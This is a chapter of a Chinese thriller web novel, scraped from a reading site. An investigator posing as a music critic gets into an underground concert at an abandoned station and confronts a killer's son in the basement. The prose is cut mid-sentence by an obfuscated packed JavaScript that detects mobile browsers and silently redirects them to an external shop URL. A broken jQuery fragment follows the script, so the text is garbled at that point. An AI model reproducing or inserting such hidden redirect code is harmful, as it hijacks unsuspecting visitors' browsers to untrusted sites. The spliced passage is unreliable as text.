文趣网 > 都市小说 > 鏡像獵人 > 10. 舊火車站
    演出當天。

    艾莉絲在鏡子前站了二十分鐘。

    妝已經化好了。粉底液均勻覆蓋每一寸皮膚,遮瑕膏蓋住了黑眼圈但保留了適度的疲憊感,眉毛左高右低,相差兩毫米,刻意的不對稱。深棕色的隱形眼鏡讓她的眼睛看起來溫和而無害。她穿著一件黑色的高領毛衣和深灰色的長褲,外面套了一件卡其色的風衣。頭髮放下來,遮住一半的臉。

    這是艾琳?莫里斯的樣子。

    獨立樂評人,自由撰稿人,從西雅圖來到灰港市採訪一個神秘的地下樂團。

    她在鏡子前轉了一圈,檢查每一個細節。沒有配槍——槍放在車裡的暗格中,她不能帶著武器進去,進門時會被搜身。但她有一把折疊刀,藏在右靴的內側,刀刃七公分,不鏽鋼,沒有指紋。

    米蘭達站在浴室門口,手裡拿著一杯咖啡。

    “妳看起來不像妳。”

    “那就對了。”

    “妳聽起來也不像妳。”

    艾莉絲清了清喉嚨,壓低聲音,在鼻腔後方製造出一種輕微的共鳴。這是她練習了三天的發聲方式,比原本的聲音低了一個半音,聽起來更柔和,更有女人味。

    “這樣呢?”

    米蘭達皺了皺眉頭。“怪怪的。但一般人聽不出來。”

    “一般人”三個字讓艾莉絲放心了一些。她不需要騙過專家,只需要騙過門口的審查人員。

    她拿起桌上的小背包,裡面裝著手機、錢包、一支錄音筆和一本空白筆記本。手機已經關閉定位功能,錄音筆的電池是新的。她還帶了一張名片,上面印著“艾琳?莫里斯,自由撰稿人”,電話號碼是預付卡,查不到任何資訊。

    “幾點?”米蘭達問。

    “午夜入場。現在九點,我十點出發。”

    “一個小時的路程?”

    “我不想太早到。在附近等一會兒,觀察一下情況。”

    米蘭達點點頭,沒有再說話。

    她們坐在客廳裡,時鐘的聲音在安靜的空間中格外清晰。滴滴答答,每一聲都像是一根針落在金屬盤上。

    十點整,艾莉絲站起身。

    米蘭達也站起來。

    “如果我——”

    “不要說。”米蘭達打斷她。“不要說‘如果’。妳會出來的。”

    艾莉絲看著她。這女孩真的很像馬庫斯。同樣的固執,同樣的不肯接受不確定的答案。

    “好。”她說。“我會出來的。”

    她轉身走向門口,沒有回頭。

    車子駛入夜色。

    灰港市的夜晚比白天更灰。路燈的光暈在霧氣中散開,像一朵朵模糊的花。街道上空無一人,商店早就關了,只有幾間便利商店還亮著慘白的日光燈。

    艾莉絲把車停在距離舊火車站兩個街區的巷子裡。她關掉引擎,熄掉車燈,坐在黑暗中等待。

    十一點二十分,她看到第一組人。

    三個人,兩女一男,都穿著黑色衣服,沿著人行道走向舊火車站的方向。他們的步伐不快不慢,沒有人說話,像是一群被某種無形的力量牽引的幽靈。

    十一點三十五分,第二組。五個人,全是女性。

    十一點四十分,第三組。兩個人,一男一女,手牽手。

    艾莉絲數了一下,大約二十到二十五人。這就是“潘多拉的琴弦”今晚的觀眾。

    她拿起手機,發了一封簡訊給米蘭達:“準備進場。”

    米蘭達回:“收到。”

    艾莉絲下了車,鎖上車門,走向舊火車站。

    霧更濃了。廢棄建築的輪廓在霧中若隱若現,像一頭蟄伏的巨獸。她走進那條通往側門的小巷,遠遠看到鐵門前站著兩個男人。

    兩個人都穿黑色西裝,打領帶,像是參加葬禮的賓客。其中一個手裡拿著平板電腦,另一個站在門邊,雙手背在身後。

    艾莉絲走近,心跳平穩,呼吸均勻。她在心中默唸:我是艾琳?莫里斯。我是樂評人。我跟音樂沒有關係。我不認識任何人。

    “姓名。”拿平板的男人問。

    “艾琳?莫里斯。”

    “推薦人。”

    “米蘭達?陳。”

    他在平板上滑了幾下,點頭。

    “身份證明。”

    她掏出駕照。那是她花了三天偽造的文件,來自暗網的一個賣家,品質很高,足以騙過一般的視覺檢查。

    男人接過駕照,對比了照片和她的臉,還給她。

    “手機。”

    她從包裡拿出手機,解鎖,交給他。他檢查了通話記錄和簡訊,沒有發現異常——她已經刪掉所有和米蘭達、丹尼的聯絡資訊。

    “錄音筆。”

    她交出來。他按了播放鍵,確認裡面沒有檔案。

    “筆記本。”

    她翻開給他看。空白。

    男人把東西還給她,從口袋裡掏出一個小型金屬探測器,在她身上掃了一遍。

    探測器沒有響。折疊刀在靴子裡,刀刃是不鏽鋼,但探測器的靈敏度不夠高,無法偵測到這麼小的金屬物。這是她在練習時發現的漏洞。

    “進去。”男人讓開。

    鐵門拉開一條縫,裡面是一片漆黑。

    艾莉絲走進去。

    門在身後關上。

    黑暗。

    完全的黑暗。

    她的眼睛花了幾秒才適應。前方是一條長長的走廊,牆壁是裸露的紅磚,地板是水泥。走廊兩側每隔幾公尺有一盞小燈,不是電燈,是蠟燭,放在鐵架上,火光搖曳。

    空氣中瀰漫著潮濕的霉味和蠟燭燃燒的煙味。還有另一種氣味,更淡,更難以辨識。像是某種香料,像是焚香,像是葬禮上的味道。

    她順著走廊往前走。

    腳步聲在狹窄的空間中迴盪,和她自己的心跳聲交織在一起。

    走廊盡頭是一扇門,半開著。門後傳來低沉的音樂聲,不是旋律,是一個持續的低音,像是一把大提琴在拉一個永遠不會結束的長音。

    她推開門,走進去。

    這裡曾經是候車大廳。

    天花板很高,至少十公尺,原本應該是玻璃的天窗現在被木板封住了,只剩下幾條縫隙讓月光滲進來。大廳兩側是售票窗口的遺跡,木製的櫃檯已經腐爛,只剩下鏽蝕的鐵欄杆。地板上鋪了一層黑色布料,不是地毯,更像是某種舞台用的消音布。

    觀眾已經到了,大約二十人,散落在大廳各處。有些人站著,有些人坐在地上,所有人都面向大廳深處的一個臨時搭建的舞台。

    舞台很簡單。一塊黑色平台,上面放著一架平台鋼琴。鋼琴旁邊站著一個人,穿著黑色長袍,戴著白色面具。

    悲劇面具。

    下垂的嘴角,皺眉的額頭。在燭光中看起來像是活的。

    策展人。

    音樂從某個看不見的地方傳來。不是鋼琴,不是弦樂,是一段預先錄製的低頻震動,緩慢地在空間中流動,像一個正在呼吸的巨大心臟。

    策展人舉起雙手。

    音樂停止。

    “歡迎。”他說。

    聲音透過某種隱藏的麥克風放大,在大廳中迴盪。低沈,平穩,沒有一絲情緒。和米蘭達描述的一模一樣。標準的口音,像是新聞主播,像是大學教授,像是一個從不屬於任何地方的人。

    “今晚的主題是俄耳甫斯。”

    他走向舞台中央,黑袍在地面上拖行。

    “俄耳甫斯走進地獄,用音樂感動了冥王,換回他的妻子。但他回頭了。他在離開地獄的前一刻回頭了。於是他的妻子永遠留在了冥界。”

    他停頓了一下。

    “你們知道俄耳甫斯為什麼回頭嗎?不是因為懷疑,不是因為恐懼。是因為愛。他太愛他的妻子了,他無法忍受不知道她是否跟在身後。所以他回頭了。然後他失去了她。”

    大廳裡沒有人說話。

    “今晚,我們要問一個問題:如果他不回頭呢?如果他相信,如果他繼續走,如果他走出了地獄——他會變成什麼?”

    策展人轉身,走向鋼琴。

    “他會變成我們。”

    他掀開琴蓋,坐在琴凳上。

    然後他開始彈琴。

    艾莉絲不懂音樂,但她聽得出來這不是普通的曲子。音符之間有太多空白,太多不應該存在的停頓。那些空白像是一個人在說話時突然忘記了下一個詞,只能尷尬地站在原地。

    但策展人沒有忘記。那些空白是故意的。

    他在用空白製造恐懼。

    艾莉絲的目光從舞台移開,掃視大廳中的觀眾。二十張臉,在燭光中明暗不定。大部分人閉著眼睛,沉浸在音樂造成的催眠狀態中。有幾個人睜著眼睛,但眼神空洞,像在看著某個不存在

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545392|204120||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的地方。

    她在找一個人。

    一個不屬於觀眾的人。

    一個在黑暗中觀察她的人。

    沒有找到。

    音樂還在繼續。策展人的手指在琴鍵上移動,速度越來越慢,空白越來越長。大廳裡的空氣變得沉重,像是有人把所有氧氣抽走了。

    艾莉絲開始移動。

    她沿著牆壁往大廳深處走,步伐很輕,幾乎沒有聲音。一條樓梯出現在她的右側,通向下方。鐵製的扶手生鏽了,樓梯上散落著碎石和灰塵。

    她往下走。

    地下一層。

    這裡曾經是月台。

    鐵軌已經被拆除,只剩下水泥平台和幾根支撐屋頂的鐵柱。空間比候車大廳更暗,只有幾盞紅色的應急燈發出微弱的光。空氣更冷了,霉味更重。

    沒有人。

    她快速掃視每一個角落,沒有看到任何可疑的東西。沒有房間,沒有儲藏室,沒有可以藏人的地方。

    樓梯在另一側,繼續向下。

    她走過去。

    地下二層。

    這一次,她聞到了。

    不是霉味,不是蠟燭的煙味。是一種更濃烈的、更黏膩的氣味。像腐敗的肉,像很久沒有清洗的繃帶,像某種不應該存在於活人世界的東西。

    她從靴子裡抽出折疊刀,打開刀刃。

    然後她往前走。

    地下二層的空間比上面兩層小得多。這原本是機房,天花板很低,管線裸露在外,牆壁上掛著鏽蝕的儀表板。空間被隔成幾個小房間,原本可能是工程師的辦公室或休息室。

    第一個房間:空。

    第二個房間:空。

    第三個房間:門鎖著。

    她蹲下來,從門縫往裡面看。

    一片漆黑。但她聽到了呼吸聲。不是一個人的,是兩個。一個很微弱,像是正在睡覺。另一個很有規律,像是刻意控制過的。

    她在門鎖上花了一分鐘。

    老式的門鎖,不難開。她用刀尖頂開鎖舌,門開了。

    房間裡沒有燈光,但她不需要燈光。她的眼睛已經完全適應了黑暗。

    一張床墊靠牆放著,床墊上蜷縮著一個年輕女性。黑髮,蒼白的臉,手腕上有繩子勒過的痕跡。她的眼睛閉著,胸口緩慢起伏。

    活著。

    房間的另一側,站著一個人。

    他穿著黑色西裝,打領帶,和門口的審查人員一樣的裝扮。但他的臉上沒有面具。

    他比艾莉絲預期的年輕。

    大約二十五歲。瘦長臉,鷹鉤鼻,下顎線條明顯。和監視器截圖中的卡爾?維斯特一模一樣,但年輕了二十歲。

    不是卡爾。

    是另一個人。

    他看著艾莉絲,微笑。

    “艾琳?莫里斯。”他說。“還是該叫妳艾莉絲?”

    他的聲音很輕,像是在哄一個孩子。

    “我等妳很久了。”

    艾莉絲握緊刀。

    “你是誰?”

    “你不知道嗎?”他歪了歪頭。“妳花了三年追我,妳不知道我是誰?”

    三年。

    這個詞像一記重拳。

    “你不是卡爾。”

    “卡爾是我的父親。”他說。“妳追的是我父親。三年前妳幾乎抓到他,但他跑掉了。後來你們抓到了另一個人,一個替罪羊。真正的‘藝術家’一直在外面。”

    艾莉絲的腦海中閃過無數個畫面。朱利安。柳溪精神病院。自願入獄。

    “朱利安不是‘藝術家’。”她說。

    “朱利安是我的老師。他教了我一切。但他從來不是‘藝術家’。‘藝術家’是我父親。”

    男孩笑了,露出整齊的牙齒。

    “我以為妳很聰明。”

    他從口袋裡掏出一把刀。比艾莉絲的折疊刀大得多,刀刃在黑暗中反射出微弱的光。

    “老師說妳會來。他說妳一定會走下樓梯,一定會來到這個房間,一定會站在我面前。他說對了。”

    他向前走了一步。

    “現在,我們來看看誰能走出這個房間。”

    艾莉絲沒有退後。

    她把刀刃朝前,壓低身體重心。

    “你叫什麼名字?”

    “傑森。”他說。“傑森?米勒。”

    然後他衝了過來。